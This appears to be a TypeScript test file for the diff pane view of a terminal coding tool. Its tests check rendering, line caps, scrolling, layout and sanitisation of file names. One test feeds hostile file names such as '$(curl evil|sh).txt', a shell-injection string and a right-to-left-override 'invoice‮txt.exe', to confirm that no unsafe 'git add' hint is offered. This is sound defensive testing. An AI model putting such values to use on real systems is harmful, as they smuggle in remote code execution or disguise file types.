spacehub

surshar / claude-code

Claude Code is an agentic coding tool that lives in your terminal, understands your codebase, and helps you code faster by executing routine tasks, explaining complex code, and handling git workflows - all through natural language commands.

Built by Anthropic · github.com/anthropics

claude-code / mods / diff / tests / views / pane-view.test.ts
657 lines · 19.2 KBRaw
1import { describe, expect, test, tier } from 'claude-code/testing'
2
3import type Git from '../../hooks/git'
4import Limits from '../../hooks/limits'
5import Names from '../../hooks/names'
6import PaneState from '../../hooks/pane-state'
7import Views from '../../hooks/views'
8import Fixtures from '../fixtures'
9
10tier('builtin')
11
12describe('pane-view', () => {
13 const dataOf = (
14 files: readonly Git.FileStat[],
15 overrides: Partial<Git.DiffData> = {},
16 ): Git.DiffData => ({
17 repository: Fixtures.CHECKOUT,
18 mode: 'session',
19 stats: { ...Fixtures.TOTALS, filesCount: files.length },
20 files,
21 source: { kind: 'working-tree', base: 'HEAD' },
22 isUnborn: false,
23 baseRef: 'HEAD',
24 stalePaths: [],
25 isUntrackedWithheld: false,
26 ...overrides,
27 })
28
29 const modelOf = (
30 overrides: Partial<PaneState.PaneModel>,
31 ): PaneState.PaneModel => ({
32 ...PaneState.INITIAL_MODEL,
33 hasSettled: true,
34 place: Fixtures.WHOLE_PLACE,
35 ...overrides,
36 })
37
38 const EARLIER = [Fixtures.rowOf('old.ts', { isPreSession: true })]
39
40 test('docked: header, rows, every body, the earlier line', async ($, on) => {
41 const tree = await Fixtures.dockedPane(
42 $,
43 on,
44 modelOf({
45 data: dataOf([
46 Fixtures.rowOf('src/a.ts'),
47 Fixtures.rowOf('src/b.ts'),
48 Fixtures.rowOf('img.png', { isBinary: true }),
49 Fixtures.rowOf('notes.txt', {
50 added: 0,
51 removed: 0,
52 isUntracked: true,
53 }),
54 Fixtures.rowOf('test/a.test.ts'),
55 Fixtures.rowOf('old.ts', { isPreSession: true }),
56 ]),
57 bodies: Fixtures.bodiesOf(Fixtures.SMALL_BODY, 'src/a.ts', 'src/b.ts'),
58 }),
59 )
60
61 const text = Fixtures.jsonOf(tree)
62
63 expect(Fixtures.isDrawn(tree), 'under the node cap').toBe(true)
64 expect(text).toContain('5 files')
65 expect(text).toContain('Binary file - cannot display diff')
66 expect(text).toContain('New file not yet staged.')
67 expect(text).toContain('1 test/generated (show)')
68 expect(text).not.toContain('test/a.test.ts')
69 expect(text).toContain('+1 file edited before this session (show)')
70 expect(text).not.toContain('❯')
71
72 expect(Fixtures.codesIn(tree).map(code => code.path)).toEqual([
73 'src/a.ts',
74 'src/b.ts',
75 ])
76
77 expect(text).toContain('"key":"ask:src/b.ts"')
78
79 expect(
80 Fixtures.elementIn(tree, { type: 'Button', name: 'base' })?.props,
81 "the built-in's base chord on an empty Button",
82 ).toMatchObject({ action: 'app:cycleDiffBase', label: '' })
83 })
84
85 test('untracked withheld: the rows stay, the pane says so', async ($, on) => {
86 const draw = Fixtures.docksPane($, on)
87 const words = { words: PaneState.INITIAL_MODEL.words }
88
89 const listed = Fixtures.jsonOf(
90 await draw(
91 modelOf({
92 data: dataOf([Fixtures.rowOf('src/a.ts')], {
93 isUntrackedWithheld: true,
94 }),
95 }),
96 ),
97 )
98
99 const bare = Fixtures.stringsOf(
100 await draw(modelOf({ data: dataOf([], { isUntrackedWithheld: true }) })),
101 ).join('')
102
103 expect(listed).toContain('1 file')
104 expect(listed).toContain('"label":"src/a.ts')
105 expect(listed).toContain(Names.untrackedWithheldTextOf(words))
106 expect(bare).toContain('No tracked changes')
107 expect(bare).not.toContain('No changes this session')
108 expect(bare).toContain(Names.untrackedWithheldTextOf(words))
109 })
110
111 test('a file at the line cap draws under the tree caps', async ($, on) => {
112 const lines = Array.from({ length: Limits.MAX_LINES_PER_FILE }, (_, at) =>
113 at % 2 === 0 ? `-const value${at} = ${at}` : `+const value${at} = 0`,
114 )
115
116 const tree = await Fixtures.dockedPane(
117 $,
118 on,
119 modelOf({
120 data: dataOf([Fixtures.rowOf('src/long.ts')]),
121 bodies: Fixtures.bodiesOf(
122 {
123 hunks: [{ oldStart: 1, newStart: 1, lines }],
124 isTruncated: true,
125 isLarge: false,
126 },
127 'src/long.ts',
128 ),
129 }),
130 )
131
132 expect(
133 Fixtures.isDrawn(tree),
134 'under the node, string and text caps the engine holds a tree to',
135 ).toBe(true)
136
137 expect(Fixtures.codesIn(tree).length).toBeGreaterThan(0)
138
139 expect(Fixtures.jsonOf(tree)).toContain(
140 '… diff truncated (exceeded 400 line limit)',
141 )
142 })
143
144 test("placeholders in the built-in's words", async ($, on) => {
145 const draw = Fixtures.docksPane($, on)
146
147 const untracked = Fixtures.jsonOf(
148 await draw(
149 modelOf({
150 data: dataOf([Fixtures.rowOf('notes.txt', { isUntracked: true })]),
151 }),
152 ),
153 )
154
155 const loading = Fixtures.jsonOf(
156 await draw(modelOf({ data: dataOf([Fixtures.rowOf('src/a.ts')]) })),
157 )
158
159 expect(untracked).toContain('New file not yet staged.')
160 expect(untracked).not.toContain('"label":"ask"')
161 expect(untracked).toContain('Run `git add :/notes.txt` to see line counts.')
162 expect(untracked).not.toContain("':/")
163 expect(loading).toContain('Loading diff…')
164
165 expect(
166 Fixtures.stringsOf(await draw(modelOf({ data: null }))).join(''),
167 ).toContain("Couldn't read the git diff — it will retry on the next change")
168
169 expect(
170 Fixtures.jsonOf(await draw(modelOf({ isOutsideRepository: true }))),
171 ).toContain("isn't in a git repository")
172 })
173
174 test('a picked turn draws its files under the turn line', async ($, on) => {
175 const text = Fixtures.jsonOf(
176 await Fixtures.dockedPane(
177 $,
178 on,
179 modelOf({
180 data: dataOf([]),
181 source: { kind: 'turn', index: 2 },
182 turns: [Fixtures.TURN_TWO],
183 }),
184 ),
185 )
186
187 expect(text).toContain('Turn 2 \\"fix it\\"')
188 expect(text).toContain('/r/a.ts')
189 expect(text).toContain('T2')
190 expect(text).toContain('… diff truncated (exceeded 400 line limit)')
191 })
192
193 test('a long body splits into leaves under their cap', async ($, on) => {
194 const tree = await Fixtures.dockedPane(
195 $,
196 on,
197 modelOf({
198 data: dataOf([Fixtures.rowOf('src/long-lines.ts')]),
199 bodies: Fixtures.bodiesOf(Fixtures.bigBodyOf(), 'src/long-lines.ts'),
200 }),
201 )
202
203 const codes = Fixtures.codesIn(tree)
204 const chars = codes.reduce((sum, code) => sum + code.source.length, 0)
205
206 expect(codes.length).toBeGreaterThan(1)
207 expect(Fixtures.isDrawn(tree), 'the engine took the tree').toBe(true)
208
209 expect(
210 codes.every(code => code.source.length <= Views.MAX_CODE_CHARS),
211 ).toBe(true)
212
213 expect(chars).toBeLessThanOrEqual(Views.MAX_BODY_CHARS)
214 })
215
216 test('the window draws what is in view, a scroll the rest', async ($, on) => {
217 const draw = Fixtures.docksPane($, on)
218
219 const model = modelOf({
220 data: dataOf([Fixtures.rowOf('a.ts'), Fixtures.rowOf('b.ts')]),
221 bodies: new Map<string, Git.FileHunks>([
222 ['a.ts', Fixtures.bigBodyOf()],
223 ['b.ts', Fixtures.SMALL_BODY],
224 ]),
225 place: { ...Fixtures.WHOLE_PLACE, rows: Fixtures.BODY_ROWS },
226 })
227
228 const top = await draw(model)
229 const { tops } = Views.bodyLayoutOf(model, Views.dockPlanOf(model))
230
231 const scrolled = await draw({
232 ...model,
233 place: { ...model.place, top: tops.get('b.ts') ?? 0 },
234 })
235
236 expect(Fixtures.isDrawn(top), 'the engine took the tree').toBe(true)
237 expect(Fixtures.codesIn(top).map(code => code.path)).toEqual(['a.ts'])
238 expect(Fixtures.jsonOf(top)).toContain('"key":"file:b.ts"')
239
240 expect(
241 Fixtures.codesIn(scrolled).map(code => code.path),
242 "a.ts's tail, then b.ts whole (the window stops at the body's end)",
243 ).toEqual(['a.ts', 'b.ts'])
244
245 expect(Fixtures.jsonOf(scrolled), 'the list stays').toContain(
246 '"key":"file:a.ts"',
247 )
248 })
249
250 test('no newline or escape in a name reaches the tree', async ($, on) => {
251 const tree = await Fixtures.dockedPane(
252 $,
253 on,
254 modelOf({
255 data: dataOf([
256 Fixtures.rowOf('evil\nfake.ts +9 -9'),
257 Fixtures.rowOf('esc\u001bname.ts', { renamedFrom: 'old\u001b.ts' }),
258 ]),
259 bodies: Fixtures.bodiesOf(Fixtures.SMALL_BODY, 'evil\nfake.ts +9 -9'),
260 }),
261 )
262
263 const text = Fixtures.jsonOf(tree)
264
265 expect(Fixtures.stringsOf(tree).some(each => each.includes('\u001b'))).toBe(
266 false,
267 )
268
269 expect(text).not.toContain('\\u001b')
270 expect(text).not.toContain('evil\\nfake')
271 expect(text).toContain('evilfake.ts +9 -9')
272 expect(text).toContain('old.ts => escname.ts')
273 })
274
275 test('a path past the string cap is cut in the header', async ($, on) => {
276 const longPath = `${'deep/'.repeat(Fixtures.LONG_PATH_SEGMENTS)}file.ts`
277
278 const tree = await Fixtures.dockedPane(
279 $,
280 on,
281 modelOf({
282 data: dataOf([
283 Fixtures.rowOf(longPath, { renamedFrom: `${longPath}.old` }),
284 ]),
285 }),
286 )
287
288 expect(Fixtures.isDrawn(tree), 'every string under the cap').toBe(true)
289 expect(Fixtures.jsonOf(tree)).toContain('file.ts')
290 })
291
292 test('a base branch name loses its format characters', async ($, on) => {
293 const draw = Fixtures.docksPane($, on)
294
295 const compared = Fixtures.jsonOf(
296 await draw(
297 modelOf({
298 requestedMode: 'branch',
299 data: { ...dataOf([Fixtures.rowOf('a.ts')]), ...Fixtures.VS_SPOOFED },
300 }),
301 ),
302 )
303
304 const empty = Fixtures.jsonOf(
305 await draw(
306 modelOf({
307 requestedMode: 'branch',
308 data: {
309 ...dataOf([]),
310 ...Fixtures.VS_SPOOFED,
311 stats: Fixtures.NO_STATS,
312 },
313 }),
314 ),
315 )
316
317 expect(compared).toContain('branch vs maniam')
318 expect(empty).toContain('No changes vs maniam')
319 expect(compared + empty).not.toContain('‮')
320 })
321
322 test('only a plainly safe name gets a git add to paste', async ($, on) => {
323 const draw = Fixtures.docksPane($, on)
324
325 const untrackedOf = (path: string) =>
326 draw(
327 modelOf({
328 data: dataOf([Fixtures.rowOf(path, { isUntracked: true })]),
329 }),
330 )
331
332 const hintOf = async (path: string) =>
333 Fixtures.stringsOf(await untrackedOf(path)).join('\n')
334
335 const hints: string[] = []
336
337 for (const path of [
338 '$(curl evil|sh).txt',
339 "it's.txt",
340 "x';payload;'",
341 'a&b.txt',
342 ]) {
343 hints.push(await hintOf(path))
344 }
345
346 const reversed = await untrackedOf('invoice‮txt.exe')
347
348 expect(await hintOf('src/café-2.txt')).toContain(
349 'Run `git add :/src/café-2.txt` to see line counts.',
350 )
351
352 expect(
353 hints.every(
354 hint =>
355 hint.includes('Stage it with git add to see line counts.') &&
356 !hint.includes('Run `git add'),
357 ),
358 ).toBe(true)
359
360 expect(Fixtures.stringsOf(reversed).join('\n')).not.toContain(
361 'Run `git add',
362 )
363
364 expect(Fixtures.jsonOf(reversed)).toContain('"label":"invoicetxt.exe')
365 expect(Fixtures.jsonOf(reversed)).not.toContain('‮')
366 })
367
368 test("docked: no top pad, the built-in's last column", async ($, on) => {
369 const tree = await Fixtures.dockedPane(
370 $,
371 on,
372 modelOf({
373 data: dataOf([Fixtures.rowOf('src/a.ts')]),
374 bodies: Fixtures.bodiesOf(Fixtures.SMALL_BODY, 'src/a.ts'),
375 }),
376 )
377
378 const rule = '─'.repeat(
379 Math.max(0, Fixtures.COLUMNS - Limits.PANE_RIGHT_PAD_COLUMNS),
380 )
381
382 expect(tree).toMatchObject({
383 type: 'Box',
384 props: { paddingRight: Limits.PANE_RIGHT_PAD_COLUMNS },
385 })
386
387 expect(Fixtures.jsonOf(tree)).not.toContain('"paddingTop"')
388 expect(Fixtures.stringsOf(tree)).toContain(rule)
389 expect(Fixtures.stringsOf(tree)).not.toContain(`${rule}─`)
390 })
391
392 test('docked: the window takes every row under the list', () => {
393 const files = [Fixtures.rowOf('src/a.ts'), Fixtures.rowOf('b.ts')]
394 const headerRows = 1
395 const listMarginRows = 1
396
397 const model = modelOf({
398 data: dataOf(files),
399 place: { ...Fixtures.WHOLE_PLACE, rows: Fixtures.BODY_ROWS },
400 })
401
402 const listTop = headerRows + listMarginRows
403 const listEnd = listTop + files.length
404
405 expect(Views.bodyLayoutOf(model, Views.dockPlanOf(model))).toMatchObject({
406 listTop,
407 listEnd,
408 visibleRows: Fixtures.BODY_ROWS - listEnd - listMarginRows,
409 })
410 })
411
412 test('docked: the list takes the wheel from its first row', () => {
413 const model = modelOf({
414 data: dataOf(
415 Array.from({ length: Limits.MAX_SUMMARY_ROWS + 1 }, (_, index) =>
416 Fixtures.rowOf(`file${index}.ts`),
417 ),
418 ),
419 place: { ...Fixtures.WHOLE_PLACE, rows: Fixtures.BODY_ROWS },
420 })
421
422 expect(
423 Views.isWheelOverList(model, Fixtures.WHEEL_OVER_LIST_MARGIN),
424 'the blank row under the header',
425 ).toBe(false)
426
427 expect(
428 Views.isWheelOverList(model, Fixtures.WHEEL_OVER_LIST_TOP),
429 "the list's first row",
430 ).toBe(true)
431 })
432
433 test("docked rows follow the built-in's, its hunks after", async ($, on) => {
434 expect(
435 Fixtures.rowShapesOf(
436 await Fixtures.dockedPane(
437 $,
438 on,
439 modelOf({
440 data: dataOf([Fixtures.rowOf('src/a.ts'), Fixtures.rowOf('b.ts')]),
441 bodies: Fixtures.bodiesOf(Fixtures.SMALL_BODY, 'src/a.ts', 'b.ts'),
442 }),
443 ),
444 ),
445 ).toEqual([
446 '',
447 'b.ts'.padEnd(
448 Fixtures.COLUMNS - Limits.PANE_RIGHT_PAD_COLUMNS - '+2 -1'.length,
449 ),
450 'rule',
451 'ask',
452 'rule',
453 '',
454 'blank',
455 'rule',
456 'ask',
457 'rule',
458 '',
459 'blank',
460 ])
461 })
462
463 test("an empty state on the built-in's row, foot below", async ($, on) => {
464 const [body] = Fixtures.childrenOf(
465 await Fixtures.dockedPane($, on, modelOf({ data: dataOf(EARLIER) })),
466 )
467
468 const [header, pad, middle, foot, ...more] = Fixtures.childrenOf(body)
469 const [spacer, headline, ...under] = Fixtures.childrenOf(middle)
470 const aboveMiddle = Fixtures.ENGINE_HEAD_ROWS + 2
471
472 expect(body).toMatchObject({ props: { height: Fixtures.BODY_ROWS } })
473
474 expect(Fixtures.stringsOf(header)).toEqual([])
475 expect(Fixtures.jsonOf(header)).not.toContain('✕')
476
477 expect(
478 Fixtures.elementIn(header, { type: 'Button', name: 'base' }),
479 ).toBeDefined()
480
481 expect(pad).toMatchObject({ type: 'Box', props: { height: 1 } })
482 expect(middle).toMatchObject({ props: { alignItems: 'center' } })
483
484 expect(spacer).toMatchObject({
485 type: 'Box',
486 props: { height: Fixtures.BUILTIN_HEADLINE_ROW - aboveMiddle },
487 })
488
489 expect(Fixtures.stringsOf(headline)).toEqual(['No changes this session'])
490 expect(under).toEqual([])
491 expect(foot).toMatchObject({ props: { marginTop: 1, paddingBottom: 1 } })
492
493 expect(Fixtures.jsonOf(foot)).toContain(
494 '"label":"+1 file edited before this session (show)"',
495 )
496
497 expect(more).toEqual([])
498 })
499
500 test('shown files or too few rows stack the empty state', async ($, on) => {
501 let rows = Fixtures.BODY_ROWS
502
503 Fixtures.drawsPane(on, kit =>
504 Views.paneView(
505 { ...kit, rows },
506 modelOf({
507 data: dataOf(EARLIER),
508 isPreSessionShown: rows === Fixtures.BODY_ROWS,
509 }),
510 Fixtures.DOCK_SEAT,
511 ),
512 )
513
514 const shown = await $.ui.render(Fixtures.VIEW_PANE)
515
516 rows = Fixtures.CRAMPED_ROWS
517
518 const cramped = await $.ui.render(Fixtures.VIEW_PANE)
519
520 const [header, pad, headline, blank, earlier, gap, legend, first] =
521 Fixtures.childrenOf(Fixtures.childrenOf(shown)[0])
522
523 expect(Fixtures.jsonOf(shown)).not.toContain('"alignItems":"center"')
524 expect(Fixtures.jsonOf(cramped)).not.toContain('"alignItems":"center"')
525
526 expect(
527 Fixtures.elementIn(header, { type: 'Button', name: 'base' }),
528 ).toBeDefined()
529
530 expect(pad).toMatchObject({ type: 'Box', props: { height: 1 } })
531 expect(Fixtures.stringsOf(headline)).toEqual(['No changes this session'])
532 expect(blank).toMatchObject({ type: 'Box', props: { height: 1 } })
533
534 expect(Fixtures.jsonOf(earlier)).toContain(
535 '"label":"+1 file edited before this session (hide)"',
536 )
537
538 expect(gap).toMatchObject({ type: 'Box', props: { height: 1 } })
539 expect(Fixtures.stringsOf(legend)).toContain('old.ts')
540 expect(Fixtures.rowShapeOf(first), "the first body's top rule").toBe('rule')
541 })
542
543 test("shown pre-session rows land on the built-in's rows", async ($, on) => {
544 expect(
545 Fixtures.rowShapesOf(
546 await Fixtures.dockedPane(
547 $,
548 on,
549 modelOf({
550 data: dataOf([
551 Fixtures.rowOf('config.toml', { isPreSession: true }),
552 Fixtures.rowOf('setup.cfg', { isPreSession: true }),
553 ]),
554 isPreSessionShown: true,
555 bodies: Fixtures.bodiesOf(
556 Fixtures.SMALL_BODY,
557 'config.toml',
558 'setup.cfg',
559 ),
560 }),
561 ),
562 ).slice(1),
563 ).toEqual([
564 'blank',
565 'No changes this session',
566 'blank',
567 '+2 files edited before this session (hide)',
568 'blank',
569 'config.toml+2 -1',
570 'setup.cfg+2 -1',
571 'rule',
572 'ask',
573 'rule',
574 '',
575 'rule',
576 'ask',
577 'rule',
578 '',
579 ])
580 })
581
582 test('inline: title, rows round the pick, then one body', async ($, on) => {
583 const files = Array.from(
584 { length: Limits.MAX_VISIBLE_FILES + 2 },
585 (_, at) => Fixtures.rowOf(`f${at}.ts`),
586 )
587
588 const draw = Fixtures.docksPane($, on, { placement: 'inline' })
589
590 const listing = modelOf({
591 data: dataOf(files),
592 selectedPath: 'f6.ts',
593 isFullscreen: false,
594 bodies: Fixtures.bodiesOf(Fixtures.SMALL_BODY, 'f0.ts', 'f6.ts'),
595 })
596
597 const tree = await draw(listing)
598 const text = Fixtures.jsonOf(tree)
599 const detail = await draw({ ...listing, dialogView: 'detail' })
600
601 expect(text).toContain('Uncommitted changes')
602 expect(text).toContain('(git diff HEAD)')
603 expect(text).toContain('"label":"❯ f6.ts"')
604 expect(text).toContain('"autoFocus":true')
605 expect(text).toContain(' ↑ 2 more files')
606 expect(text).not.toContain('"label":" f0.ts"')
607 expect(Fixtures.codesIn(tree)).toEqual([])
608 expect(Fixtures.codesIn(detail).map(code => code.path)).toEqual(['f6.ts'])
609 expect(Fixtures.jsonOf(detail)).not.toContain('"label":"❯ f6.ts"')
610 expect(Fixtures.jsonOf(detail)).toContain('Esc to back')
611
612 expect(tree).toMatchObject({
613 type: 'Box',
614 props: { flexDirection: 'column' },
615 })
616
617 expect(text).not.toContain('"paddingTop"')
618 })
619
620 test('inline, too narrow: the wider-terminal line alone', async ($, on) => {
621 expect(
622 Fixtures.stringsOf(
623 await Fixtures.docksPane($, on, Fixtures.NARROW_SEAT)(modelOf({})),
624 ),
625 ).toEqual([Names.RESIZE_TERMINAL_TEXT])
626 })
627
628 test('the header row carries its controls in every state', async ($, on) => {
629 const draw = Fixtures.docksPane($, on)
630
631 const models = [
632 modelOf({ data: dataOf([Fixtures.rowOf('src/a.ts')]) }),
633 modelOf({ data: dataOf([]) }),
634 modelOf({
635 data: dataOf([]),
636 source: { kind: 'turn', index: 2 },
637 turns: [Fixtures.TURN_TWO],
638 }),
639 ]
640
641 for (const model of models) {
642 const tree = await draw(model)
643 const [header] = Fixtures.childrenOf(Fixtures.childrenOf(tree)[0])
644 const isTurn = model.source.kind === 'turn'
645
646 expect(Fixtures.isDrawn(tree), 'the engine took the tree').toBe(true)
647 expect(Fixtures.jsonOf(tree)).not.toContain('"label":"✕"')
648
649 expect(
650 Fixtures.elementIn(header, {
651 type: isTurn ? 'Select' : 'Button',
652 name: isTurn ? 'source' : 'base',
653 }),
654 ).toBeDefined()
655 }
656 })
657})